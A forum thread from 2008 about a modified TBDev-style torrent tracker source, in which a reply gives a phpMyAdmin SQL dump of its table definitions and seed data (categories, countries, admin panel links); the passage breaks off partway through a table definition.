| ||||||
| View Poll Results: Do you like this source | |||
| Yes |
   
|
67 | 65.69% |
| No |
  
|
11 | 10.78% |
| Dont Care |
  
|
24 | 23.53% |
| Voters: 102. You may not vote on this poll | |||
 |
|
#1
29th August 2008, 02:00
|
||||
|
||||
Dark`s Source
This source is based on 50cents modified source !
Modded By Dark *Missing mySql Tables Added *No Download For Non Connectable users *Help Desk *rules on signup *IE is not good on index MoD *radio Mod Added u must change settings in Radio.php *xxGB uploaded on signup *cccovers mod yoursite/cccovers.php *Donor php Added this will show your sites doners *All Security Updates Added ANY QUESTIONS OR ANYTHINK YOU WOULD LIKE TO SEE IN VERSION 1.5 TELL ME HERE More Coming In Version 1.5 Last edited by Subzero; 16th October 2008 at 02:13. 
|
|
#2
29th August 2008, 18:31
|
|||
|
|||
Some part are missing:-
HelpDesk SQL missing FLS SQL missing ShoutBox SQL missing Gender in userdetails with no way of selecting Gender Creating News not in english The above are what I found at a quick glance.
|
| The Following User Says Thank You to Krypto For This Useful Post: | ||
b33z (13th April 2009)
| ||
|
#3
29th August 2008, 21:15
|
||||
|
||||
|
sql full
Code:
-- phpMyAdmin SQL Dump
-- version 2.10.3
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Generation Time: Aug 29, 2008 at 08:13 PM
-- Server version: 5.0.51
-- PHP Version: 5.2.6
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
--
-- Database: `tbdev2`
--
-- --------------------------------------------------------
--
-- Table structure for table `addedrequests`
--
CREATE TABLE `addedrequests` (
`id` int(10) unsigned NOT NULL auto_increment,
`requestid` int(10) unsigned NOT NULL default '0',
`userid` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `pollid` (`id`),
KEY `userid` (`userid`),
KEY `requestid_userid` (`requestid`,`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `addedrequests`
--
-- --------------------------------------------------------
--
-- Table structure for table `adminpanel`
--
CREATE TABLE `adminpanel` (
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(50) default NULL,
`url` varchar(20) default NULL,
`info` varchar(100) default NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2006 ;
--
-- Dumping data for table `adminpanel`
--
INSERT INTO `adminpanel` VALUES (2002, 'Add user', 'adduser.php', 'Add user');
INSERT INTO `adminpanel` VALUES (2003, 'Unconfirmed users', 'uncon.php', 'View unconfirmed accounts');
INSERT INTO `adminpanel` VALUES (2004, 'Announcement', 'announcement.php', 'Create important message for all tracker users');
INSERT INTO `adminpanel` VALUES (2005, 'Traceroute', 'traceroute.php', 'Trace IP');
-- --------------------------------------------------------
--
-- Table structure for table `announcement`
--
CREATE TABLE `announcement` (
`id` int(10) unsigned NOT NULL auto_increment,
`userid` int(11) NOT NULL default '0',
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`body` text NOT NULL,
`title` varchar(255) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `added` (`added`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=23 ;
--
-- Dumping data for table `announcement`
--
-- --------------------------------------------------------
--
-- Table structure for table `avps`
--
CREATE TABLE `avps` (
`arg` varchar(20) NOT NULL default '',
`value_s` text NOT NULL,
`value_i` int(11) NOT NULL default '0',
`value_u` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`arg`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
--
-- Dumping data for table `avps`
--
INSERT INTO `avps` VALUES ('lastcleantime', '', 0, 1219968666);
-- --------------------------------------------------------
--
-- Table structure for table `bans`
--
CREATE TABLE `bans` (
`id` int(10) unsigned NOT NULL auto_increment,
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`addedby` int(10) unsigned NOT NULL default '0',
`comment` varchar(255) NOT NULL default '',
`first` int(11) default NULL,
`last` int(11) default NULL,
PRIMARY KEY (`id`),
KEY `first_last` (`first`,`last`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `bans`
--
-- --------------------------------------------------------
--
-- Table structure for table `blocks`
--
CREATE TABLE `blocks` (
`id` int(10) unsigned NOT NULL auto_increment,
`userid` int(10) unsigned NOT NULL default '0',
`blockid` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
UNIQUE KEY `userfriend` (`userid`,`blockid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `blocks`
--
-- --------------------------------------------------------
--
-- Table structure for table `bonus`
--
CREATE TABLE `bonus` (
`id` int(5) NOT NULL auto_increment,
`bonusname` varchar(50) NOT NULL default '',
`points` decimal(4,1) NOT NULL default '0.0',
`description` text NOT NULL,
`art` varchar(10) NOT NULL default 'traffic',
`menge` bigint(20) unsigned NOT NULL default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=4 ;
--
-- Dumping data for table `bonus`
--
INSERT INTO `bonus` VALUES (1, '1.0GB Uploaded', 75.0, 'With enough bonus points acquired, you are able to exchange them for an Upload Credit. The points are then removed from your Bonus Bank and the credit is added to your total uploaded amount.', 'traffic', 1073741824);
INSERT INTO `bonus` VALUES (2, '2.5GB Uploaded', 150.0, 'With enough bonus points acquired, you are able to exchange them for an Upload Credit. The points are then removed from your Bonus Bank and the credit is added to your total uploaded amount.', 'traffic', 2684354560);
INSERT INTO `bonus` VALUES (3, '5GB Uploaded', 250.0, 'With enough bonus points acquired, you are able to exchange them for an Upload Credit. The points are then removed from your Bonus Bank and the credit is added to your total uploaded amount.', 'traffic', 5368709120);
-- --------------------------------------------------------
--
-- Table structure for table `categories`
--
CREATE TABLE `categories` (
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(30) NOT NULL default '',
`image` varchar(255) NOT NULL default '',
`sort_index` int(10) unsigned NOT NULL default '0',
`cat_desc` varchar(30) NOT NULL default '',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=16 ;
--
-- Dumping data for table `categories`
--
INSERT INTO `categories` VALUES (1, 'Appz/misc', 'pic/style/icons/Appzmisc.png', 0, '');
INSERT INTO `categories` VALUES (2, 'XXX', 'pic/style/icons/Xxx.png', 0, '');
INSERT INTO `categories` VALUES (3, 'TV/rips', 'pic/style/icons/Tvrips.png', 0, '');
INSERT INTO `categories` VALUES (4, 'Music/MP3', 'pic/style/icons/Musicmp3.png', 0, '');
INSERT INTO `categories` VALUES (5, 'Anime', 'pic/style/icons/Anime.png', 0, '');
INSERT INTO `categories` VALUES (6, 'Appz/ISO', 'pic/style/icons/Appziso.png', 0, '');
INSERT INTO `categories` VALUES (7, 'Music/HQ', 'pic/style/icons/Musichq.png', 0, '');
INSERT INTO `categories` VALUES (8, 'Music/Clips', 'pic/style/icons/Musicclips.png', 0, '');
INSERT INTO `categories` VALUES (9, 'Movies/RUS ', 'pic/style/icons/Moviesrus.png', 0, '');
INSERT INTO `categories` VALUES (10, 'Movies/LV', 'pic/style/icons/Movieslv.png', 0, '');
INSERT INTO `categories` VALUES (11, 'Movies/ENG ', 'pic/style/icons/Movieseng.png', 0, '');
INSERT INTO `categories` VALUES (12, 'Movies/DVD ', 'pic/style/icons/Moviesdvd.png', 0, '');
INSERT INTO `categories` VALUES (13, 'Games/PC Rips ', 'pic/style/icons/Gamespcrips.png', 0, '');
INSERT INTO `categories` VALUES (14, 'Games/PC ISO ', 'pic/style/icons/Gamespciso.png', 0, '');
INSERT INTO `categories` VALUES (15, 'Games/PS2', 'pic/style/icons/Gamesps2.png', 0, '');
-- --------------------------------------------------------
--
-- Table structure for table `cheaters`
--
CREATE TABLE `cheaters` (
`id` int(10) unsigned NOT NULL auto_increment,
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`userid` int(10) NOT NULL default '0',
`torrentid` int(10) NOT NULL default '0',
`client` varchar(255) NOT NULL default '',
`rate` varchar(255) NOT NULL default '',
`beforeup` varchar(255) NOT NULL default '',
`upthis` varchar(255) NOT NULL default '',
`timediff` varchar(255) NOT NULL default '',
`userip` varchar(15) NOT NULL default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `cheaters`
--
-- --------------------------------------------------------
--
-- Table structure for table `comments`
--
CREATE TABLE `comments` (
`id` int(10) unsigned NOT NULL auto_increment,
`user` int(10) unsigned NOT NULL default '0',
`torrent` int(10) unsigned NOT NULL default '0',
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`text` text NOT NULL,
`ori_text` text NOT NULL,
`editedby` int(10) unsigned NOT NULL default '0',
`editedat` datetime NOT NULL default '0000-00-00 00:00:00',
`request` int(11) NOT NULL default '0',
`offer` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `user` (`user`),
KEY `torrent` (`torrent`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `comments`
--
-- --------------------------------------------------------
--
-- Table structure for table `countries`
--
CREATE TABLE `countries` (
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(50) default NULL,
`flagpic` varchar(50) default NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=200 ;
--
-- Dumping data for table `countries`
--
INSERT INTO `countries` VALUES (1, 'Sweden', 'sweden.gif');
INSERT INTO `countries` VALUES (2, 'United States of America', 'usa.gif');
INSERT INTO `countries` VALUES (3, 'Russia', 'russia.gif');
INSERT INTO `countries` VALUES (4, 'Finland', 'finland.gif');
INSERT INTO `countries` VALUES (5, 'Canada', 'canada.gif');
INSERT INTO `countries` VALUES (6, 'France', 'france.gif');
INSERT INTO `countries` VALUES (7, 'Germany', 'germany.gif');
INSERT INTO `countries` VALUES (8, 'China', 'china.gif');
INSERT INTO `countries` VALUES (9, 'Italy', 'italy.gif');
INSERT INTO `countries` VALUES (10, 'Denmark', 'denmark.gif');
INSERT INTO `countries` VALUES (11, 'Norway', 'norway.gif');
INSERT INTO `countries` VALUES (12, 'United Kingdom', 'uk.gif');
INSERT INTO `countries` VALUES (13, 'Ireland', 'ireland.gif');
INSERT INTO `countries` VALUES (14, 'Poland', 'poland.gif');
INSERT INTO `countries` VALUES (15, 'Netherlands', 'netherlands.gif');
INSERT INTO `countries` VALUES (16, 'Belgium', 'belgium.gif');
INSERT INTO `countries` VALUES (17, 'Japan', 'japan.gif');
INSERT INTO `countries` VALUES (18, 'Brazil', 'brazil.gif');
INSERT INTO `countries` VALUES (19, 'Argentina', 'argentina.gif');
INSERT INTO `countries` VALUES (20, 'Australia', 'australia.gif');
INSERT INTO `countries` VALUES (21, 'New Zealand', 'newzealand.gif');
INSERT INTO `countries` VALUES (23, 'Spain', 'spain.gif');
INSERT INTO `countries` VALUES (24, 'Portugal', 'portugal.gif');
INSERT INTO `countries` VALUES (25, 'Mexico', 'mexico.gif');
INSERT INTO `countries` VALUES (26, 'Singapore', 'singapore.gif');
INSERT INTO `countries` VALUES (27, 'India', 'india.gif');
INSERT INTO `countries` VALUES (28, 'Albania', 'albania.gif');
INSERT INTO `countries` VALUES (29, 'South Africa', 'southafrica.gif');
INSERT INTO `countries` VALUES (30, 'South Korea', 'southkorea.gif');
INSERT INTO `countries` VALUES (31, 'Jamaica', 'jamaica.gif');
INSERT INTO `countries` VALUES (32, 'Luxembourg', 'luxembourg.gif');
INSERT INTO `countries` VALUES (33, 'Hong Kong', 'hongkong.gif');
INSERT INTO `countries` VALUES (34, 'Belize', 'belize.gif');
INSERT INTO `countries` VALUES (35, 'Algeria', 'algeria.gif');
INSERT INTO `countries` VALUES (36, 'Angola', 'angola.gif');
INSERT INTO `countries` VALUES (37, 'Austria', 'austria.gif');
INSERT INTO `countries` VALUES (38, 'Yugoslavia', 'yugoslavia.gif');
INSERT INTO `countries` VALUES (39, 'Western Samoa', 'westernsamoa.gif');
INSERT INTO `countries` VALUES (40, 'Malaysia', 'malaysia.gif');
INSERT INTO `countries` VALUES (41, 'Dominican Republic', 'dominicanrep.gif');
INSERT INTO `countries` VALUES (42, 'Greece', 'greece.gif');
INSERT INTO `countries` VALUES (43, 'Guatemala', 'guatemala.gif');
INSERT INTO `countries` VALUES (44, 'Israel', 'israel.gif');
INSERT INTO `countries` VALUES (45, 'Pakistan', 'pakistan.gif');
INSERT INTO `countries` VALUES (46, 'Czech Republic', 'czechrep.gif');
INSERT INTO `countries` VALUES (47, 'Serbia', 'serbia.gif');
INSERT INTO `countries` VALUES (48, 'Seychelles', 'seychelles.gif');
INSERT INTO `countries` VALUES (49, 'Taiwan', 'taiwan.gif');
INSERT INTO `countries` VALUES (50, 'Puerto Rico', 'puertorico.gif');
INSERT INTO `countries` VALUES (51, 'Chile', 'chile.gif');
INSERT INTO `countries` VALUES (52, 'Cuba', 'cuba.gif');
INSERT INTO `countries` VALUES (53, 'Congo', 'congo.gif');
INSERT INTO `countries` VALUES (54, 'Afghanistan', 'afghanistan.gif');
INSERT INTO `countries` VALUES (55, 'Turkey', 'turkey.gif');
INSERT INTO `countries` VALUES (56, 'Uzbekistan', 'uzbekistan.gif');
INSERT INTO `countries` VALUES (57, 'Switzerland', 'switzerland.gif');
INSERT INTO `countries` VALUES (58, 'Kiribati', 'kiribati.gif');
INSERT INTO `countries` VALUES (59, 'Philippines', 'philippines.gif');
INSERT INTO `countries` VALUES (60, 'Burkina Faso', 'burkinafaso.gif');
INSERT INTO `countries` VALUES (61, 'Nigeria', 'nigeria.gif');
INSERT INTO `countries` VALUES (62, 'Iceland', 'iceland.gif');
INSERT INTO `countries` VALUES (63, 'Nauru', 'nauru.gif');
INSERT INTO `countries` VALUES (64, 'Slovenia', 'slovenia.gif');
INSERT INTO `countries` VALUES (66, 'Turkmenistan', 'turkmenistan.gif');
INSERT INTO `countries` VALUES (67, 'Bosnia Herzegovina', 'bosniaherzegovina.gif');
INSERT INTO `countries` VALUES (68, 'Andorra', 'andorra.gif');
INSERT INTO `countries` VALUES (69, 'Lithuania', 'lithuania.gif');
INSERT INTO `countries` VALUES (70, 'Macedonia', 'macadonia.gif');
INSERT INTO `countries` VALUES (71, 'Netherlands Antilles', 'nethantilles.gif');
INSERT INTO `countries` VALUES (72, 'Ukraine', 'ukraine.gif');
INSERT INTO `countries` VALUES (73, 'Venezuela', 'venezuela.gif');
INSERT INTO `countries` VALUES (74, 'Hungary', 'hungary.gif');
INSERT INTO `countries` VALUES (75, 'Romania', 'romania.gif');
INSERT INTO `countries` VALUES (76, 'Vanuatu', 'vanuatu.gif');
INSERT INTO `countries` VALUES (77, 'Vietnam', 'vietnam.gif');
INSERT INTO `countries` VALUES (78, 'Trinidad & Tobago', 'trinidadandtobago.gif');
INSERT INTO `countries` VALUES (79, 'Honduras', 'honduras.gif');
INSERT INTO `countries` VALUES (80, 'Kyrgyzstan', 'kyrgyzstan.gif');
INSERT INTO `countries` VALUES (81, 'Ecuador', 'ecuador.gif');
INSERT INTO `countries` VALUES (82, 'Bahamas', 'bahamas.gif');
INSERT INTO `countries` VALUES (83, 'Peru', 'peru.gif');
INSERT INTO `countries` VALUES (84, 'Cambodia', 'cambodia.gif');
INSERT INTO `countries` VALUES (85, 'Barbados', 'barbados.gif');
INSERT INTO `countries` VALUES (86, 'Bangladesh', 'bangladesh.gif');
INSERT INTO `countries` VALUES (87, 'Laos', 'laos.gif');
INSERT INTO `countries` VALUES (88, 'Uruguay', 'uruguay.gif');
INSERT INTO `countries` VALUES (89, 'Antigua Barbuda', 'antiguabarbuda.gif');
INSERT INTO `countries` VALUES (90, 'Paraguay', 'paraguay.gif');
INSERT INTO `countries` VALUES (92, 'Union of Soviet Socialist Republics', 'ussr.gif');
INSERT INTO `countries` VALUES (93, 'Thailand', 'thailand.gif');
INSERT INTO `countries` VALUES (94, 'Senegal', 'senegal.gif');
INSERT INTO `countries` VALUES (95, 'Togo', 'togo.gif');
INSERT INTO `countries` VALUES (96, 'North Korea', 'northkorea.gif');
INSERT INTO `countries` VALUES (97, 'Croatia', 'croatia.gif');
INSERT INTO `countries` VALUES (98, 'Estonia', 'estonia.gif');
INSERT INTO `countries` VALUES (99, 'Colombia', 'colombia.gif');
INSERT INTO `countries` VALUES (100, 'Lebanon', 'lebanon.gif');
INSERT INTO `countries` VALUES (101, 'Latvia', 'latvia.gif');
INSERT INTO `countries` VALUES (102, 'Costa Rica', 'costarica.gif');
INSERT INTO `countries` VALUES (103, 'Egypt', 'egypt.gif');
INSERT INTO `countries` VALUES (104, 'Bulgaria', 'bulgaria.gif');
INSERT INTO `countries` VALUES (105, 'Isla de Muerte', 'jollyroger.gif');
INSERT INTO `countries` VALUES (106, 'Moldova', 'moldova.gif');
INSERT INTO `countries` VALUES (107, 'Armenia', 'armenia.gif');
INSERT INTO `countries` VALUES (108, 'Azerbaijan', 'azerbaijan.gif');
INSERT INTO `countries` VALUES (109, 'Bahrain', 'bahrain.gif');
INSERT INTO `countries` VALUES (110, 'Belarus', 'belarus.gif');
INSERT INTO `countries` VALUES (111, 'Benin', 'benin.gif');
INSERT INTO `countries` VALUES (112, 'Bhutan', 'bhutan.gif');
INSERT INTO `countries` VALUES (113, 'Bolivia', 'bolivia.gif');
INSERT INTO `countries` VALUES (114, 'Botswana', 'botswana.gif');
INSERT INTO `countries` VALUES (115, 'Brunei', 'brunei.gif');
INSERT INTO `countries` VALUES (116, 'Union of Myanmar', 'burma.gif');
INSERT INTO `countries` VALUES (117, 'Burundi', 'burund.gif');
INSERT INTO `countries` VALUES (118, 'Cameroon', 'cameroon.gif');
INSERT INTO `countries` VALUES (119, 'Central African Republic', 'centralafricanrep.gif');
INSERT INTO `countries` VALUES (120, 'Chad', 'chad.gif');
INSERT INTO `countries` VALUES (121, 'Comoros', 'comoros.gif');
INSERT INTO `countries` VALUES (122, 'Cyprus', 'cyprus.gif');
INSERT INTO `countries` VALUES (123, 'Democratic Republic of the Congo', 'demrepcongo.gif');
INSERT INTO `countries` VALUES (124, 'Djibouti', 'djiboutil.gif');
INSERT INTO `countries` VALUES (125, 'Dominica', 'dominica.gif');
INSERT INTO `countries` VALUES (126, 'El Salvador', 'elsalvado.gif');
INSERT INTO `countries` VALUES (127, 'Equatorial Guinea', 'eq_guinea.gif');
INSERT INTO `countries` VALUES (128, 'Eritrea', 'eritrea.gif');
INSERT INTO `countries` VALUES (129, 'Ethiopia', 'ethiopia.gif');
INSERT INTO `countries` VALUES (130, 'Fiji', 'fiji.gif');
INSERT INTO `countries` VALUES (131, 'Gabon', 'gabon.gif');
INSERT INTO `countries` VALUES (132, 'Gambia', 'gambia.gif');
INSERT INTO `countries` VALUES (133, 'Georgia', 'georgia.gif');
INSERT INTO `countries` VALUES (134, 'Ghana', 'ghana.gif');
INSERT INTO `countries` VALUES (135, 'Grenada', 'grenada.gif');
INSERT INTO `countries` VALUES (136, 'St. Vincent & the Grenadines', 'grenadines.gif');
INSERT INTO `countries` VALUES (137, 'Guinea-Bissau', 'guineabissau.gif');
INSERT INTO `countries` VALUES (138, 'Guinea', 'guineal.gif');
INSERT INTO `countries` VALUES (139, 'Guyana', 'guyana.gif');
INSERT INTO `countries` VALUES (140, 'Haiti', 'haiti.gif');
INSERT INTO `countries` VALUES (141, 'Hong Kong', 'hong_kong.gif');
INSERT INTO `countries` VALUES (142, 'Indonesia', 'indonesia.gif');
INSERT INTO `countries` VALUES (143, 'Iran', 'iran.gif');
INSERT INTO `countries` VALUES (144, 'Iraq', 'iraq.gif');
INSERT INTO `countries` VALUES (145, 'Ivory Coast', 'ivorycoast.gif');
INSERT INTO `countries` VALUES (146, 'Jordan', 'jordan.gif');
INSERT INTO `countries` VALUES (147, 'Kazakhstan', 'kazakhstan.gif');
INSERT INTO `countries` VALUES (148, 'Kenya', 'kenya.gif');
INSERT INTO `countries` VALUES (149, 'Kuwait', 'kuwait.gif');
INSERT INTO `countries` VALUES (150, 'Liberia', 'liberia.gif');
INSERT INTO `countries` VALUES (151, 'Libya', 'libya.gif');
INSERT INTO `countries` VALUES (152, 'Liechtenstein', 'liechtenstein.gif');
INSERT INTO `countries` VALUES (153, 'Macao', 'macau.gif');
INSERT INTO `countries` VALUES (154, 'Madagascar', 'madagascar.gif');
INSERT INTO `countries` VALUES (155, 'Malawi', 'malawi.gif');
INSERT INTO `countries` VALUES (156, 'Maldives', 'maldives.gif');
INSERT INTO `countries` VALUES (157, 'Mali', 'mali.gif');
INSERT INTO `countries` VALUES (158, 'Malta', 'malta.gif');
INSERT INTO `countries` VALUES (159, 'Mauritania', 'mauritania.gif');
INSERT INTO `countries` VALUES (160, 'Mauritius', 'mauritius.gif');
INSERT INTO `countries` VALUES (161, 'Micronesia', 'micronesia.gif');
INSERT INTO `countries` VALUES (162, 'Monaco', 'monaco.gif');
INSERT INTO `countries` VALUES (163, 'Mongolia', 'mongolia.gif');
INSERT INTO `countries` VALUES (164, 'Morocco', 'morocco.gif');
INSERT INTO `countries` VALUES (165, 'Mozambique', 'mozambique.gif');
INSERT INTO `countries` VALUES (166, 'Namibia', 'namibia.gif');
INSERT INTO `countries` VALUES (167, 'Nepal', 'nepal.gif');
INSERT INTO `countries` VALUES (168, 'Nicaragua', 'nicaragua.gif');
INSERT INTO `countries` VALUES (169, 'Niger', 'niger.gif');
INSERT INTO `countries` VALUES (170, 'North Korea', 'north_korea.gif');
INSERT INTO `countries` VALUES (171, 'Oman', 'oman.gif');
INSERT INTO `countries` VALUES (172, 'Panama', 'panama.gif');
INSERT INTO `countries` VALUES (173, 'Papua New Guinea', 'papuanewguinea.gif');
INSERT INTO `countries` VALUES (174, 'Qatar', 'qatar.gif');
INSERT INTO `countries` VALUES (175, 'Rwanda', 'rawanda.gif');
INSERT INTO `countries` VALUES (176, 'Sao Tome and Principe', 'sao_tome.gif');
INSERT INTO `countries` VALUES (177, 'Saudi Arabia', 'saudiarabia.gif');
INSERT INTO `countries` VALUES (178, 'Sierra Leone', 'sierraleone.gif');
INSERT INTO `countries` VALUES (179, 'Slovakia', 'slovakia.gif');
INSERT INTO `countries` VALUES (180, 'Solomon Islands', 'solomon_islands.gif');
INSERT INTO `countries` VALUES (181, 'Somalia', 'somalia.gif');
INSERT INTO `countries` VALUES (182, 'South Korea', 'south_korea.gif');
INSERT INTO `countries` VALUES (183, 'Sri Lanka', 'srilanka.gif');
INSERT INTO `countries` VALUES (184, 'St. Kitts & Nevis', 'stkitts_nevis.gif');
INSERT INTO `countries` VALUES (185, 'Saint Lucia', 'stlucia.gif');
INSERT INTO `countries` VALUES (186, 'Sudan', 'sudan.gif');
INSERT INTO `countries` VALUES (187, 'Suriname', 'suriname.gif');
INSERT INTO `countries` VALUES (188, 'Syria', 'syria.gif');
INSERT INTO `countries` VALUES (189, 'Tajikistan', 'tajikistan.gif');
INSERT INTO `countries` VALUES (190, 'Tanzania', 'tanzania.gif');
INSERT INTO `countries` VALUES (191, 'Tonga', 'tonga.gif');
INSERT INTO `countries` VALUES (192, 'Tunisia', 'tunisia.gif');
INSERT INTO `countries` VALUES (193, 'Tuvalu', 'tuvala.gif');
INSERT INTO `countries` VALUES (194, 'United Arab Emirates', 'uae.gif');
INSERT INTO `countries` VALUES (195, 'Uganda', 'uganda.gif');
INSERT INTO `countries` VALUES (196, 'Yemen', 'yemen.gif');
INSERT INTO `countries` VALUES (197, 'Zaire', 'zaire.gif');
INSERT INTO `countries` VALUES (198, 'Zambia', 'zambia.gif');
INSERT INTO `countries` VALUES (199, 'Zimbabwe', 'zimbabwe.gif');
-- --------------------------------------------------------
--
-- Table structure for table `files`
--
CREATE TABLE `files` (
`id` int(10) unsigned NOT NULL auto_increment,
`torrent` int(10) unsigned NOT NULL default '0',
`filename` varchar(255) NOT NULL default '',
`size` bigint(20) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `torrent` (`torrent`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `files`
--
-- --------------------------------------------------------
--
-- Table structure for table `forums`
--
CREATE TABLE `forums` (
`sort` tinyint(3) unsigned NOT NULL default '0',
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(60) NOT NULL default '',
`description` varchar(200) default NULL,
`minclassread` tinyint(3) unsigned NOT NULL default '0',
`minclasswrite` tinyint(3) unsigned NOT NULL default '0',
`postcount` int(10) unsigned NOT NULL default '0',
`topiccount` int(10) unsigned NOT NULL default '0',
`minclasscreate` tinyint(3) unsigned NOT NULL default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `forums`
--
-- --------------------------------------------------------
--
-- Table structure for table `friends`
--
CREATE TABLE `friends` (
`id` int(10) unsigned NOT NULL auto_increment,
`userid` int(10) unsigned NOT NULL default '0',
`friendid` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`),
UNIQUE KEY `userfriend` (`userid`,`friendid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `friends`
--
-- --------------------------------------------------------
--
-- Table structure for table `helpdesk`
--
CREATE TABLE `helpdesk` (
`id` int(10) unsigned NOT NULL auto_increment,
`title` varchar(60) NOT NULL default '',
`msg_problem` text,
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`solved_date` datetime NOT NULL default '0000-00-00 00:00:00',
`solved` enum('no','yes','ignored') NOT NULL default 'no',
`added_by` int(10) NOT NULL default '0',
`solved_by` int(10) NOT NULL default '0',
`msg_answer` text,
UNIQUE KEY `id` (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `helpdesk`
--
-- --------------------------------------------------------
--
-- Table structure for table `messages`
--
CREATE TABLE `messages` (
`id` int(10) unsigned NOT NULL auto_increment,
`sender` int(10) unsigned NOT NULL default '0',
`receiver` int(10) unsigned NOT NULL default '0',
`added` datetime default NULL,
`msg` text,
`unread` enum('yes','no') NOT NULL default 'yes',
`poster` bigint(20) unsigned NOT NULL default '0',
`location` enum('in','out','both') NOT NULL default 'in',
PRIMARY KEY (`id`),
KEY `receiver` (`receiver`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `messages`
--
-- --------------------------------------------------------
--
-- Table structure for table `modpanel`
--
CREATE TABLE `modpanel` (
`id` int(10) unsigned NOT NULL auto_increment,
`name` varchar(50) default NULL,
`url` varchar(20) default NULL,
`info` varchar(100) default NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1015 ;
--
-- Dumping data for table `modpanel`
--
INSERT INTO `modpanel` VALUES (1001, 'Warned users', 'warned.php', 'See warned users');
INSERT INTO `modpanel` VALUES (1002, 'Poll overview', 'polls.php', 'View polls');
INSERT INTO `modpanel` VALUES (1003, 'Make poll', 'makepoll.php', 'Create new poll');
INSERT INTO `modpanel` VALUES (1004, 'User list', 'users.php', 'View users');
INSERT INTO `modpanel` VALUES (1005, 'Stats', 'stats.php', 'Tracker stats');
INSERT INTO `modpanel` VALUES (1006, 'Test IP', 'testip.php', 'Test single IP');
INSERT INTO `modpanel` VALUES (1007, 'Duplicate IP', 'ipcheck.php', 'Duplicate IP users');
INSERT INTO `modpanel` VALUES (1008, 'Leechers', 'leechers.php', 'Show users with ratio under 0.40');
INSERT INTO `modpanel` VALUES (1009, 'IP ban', 'bans.php', 'Ban single IP');
INSERT INTO `modpanel` VALUES (1011, 'Check script', 'proxy.php', 'Possable proxy server user check script');
INSERT INTO `modpanel` VALUES (1012, 'Uploaders', 'uploaders.php', 'See your uploaders info');
INSERT INTO `modpanel` VALUES (1013, 'Ratio cheaters', 'cheaters.php', 'Check if someone is cheating on tracker');
INSERT INTO `modpanel` VALUES (1014, 'Maybe Cheaters', 'maybecheaters.php', 'Those users maybe are cheaters');
-- --------------------------------------------------------
--
-- Table structure for table `news`
--
CREATE TABLE `news` (
`id` int(10) unsigned NOT NULL auto_increment,
`userid` int(11) NOT NULL default '0',
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`body` text NOT NULL,
`title` varchar(255) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `added` (`added`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=56 ;
--
-- Dumping data for table `news`
--
-- --------------------------------------------------------
--
-- Table structure for table `offers`
--
CREATE TABLE `offers` (
`id` int(10) unsigned NOT NULL auto_increment,
`userid` int(10) unsigned NOT NULL default '0',
`name` varchar(225) default NULL,
`descr` text NOT NULL,
`added` datetime NOT NULL default '0000-00-00 00:00:00',
`yeah` int(10) unsigned NOT NULL default '0',
`against` int(10) unsigned NOT NULL default '0',
`category` int(11) NOT NULL default '0',
`comments` int(11) NOT NULL default '0',
`allowed` enum('allowed','pending','denied') NOT NULL default 'pending',
PRIMARY KEY (`id`),
KEY `userid` (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
--
-- Dumping data for table `offers`
--
-- --------------------------------------------------------
--
-- Table structure for table `offervotes`
--
CREATE TABLE `offervotes` (
`id` int(10) unsigned NOT NULL auto_increment,
`offerid` int(10) unsigned NOT NULL default '0',
`userid` int(10) unsigned NOT NULL default '0',
`vote` enum('yeah','against') NOT NULL default 'yeah',
PRIMARY KEY (`id`),
KEY `userid` (`userid`)
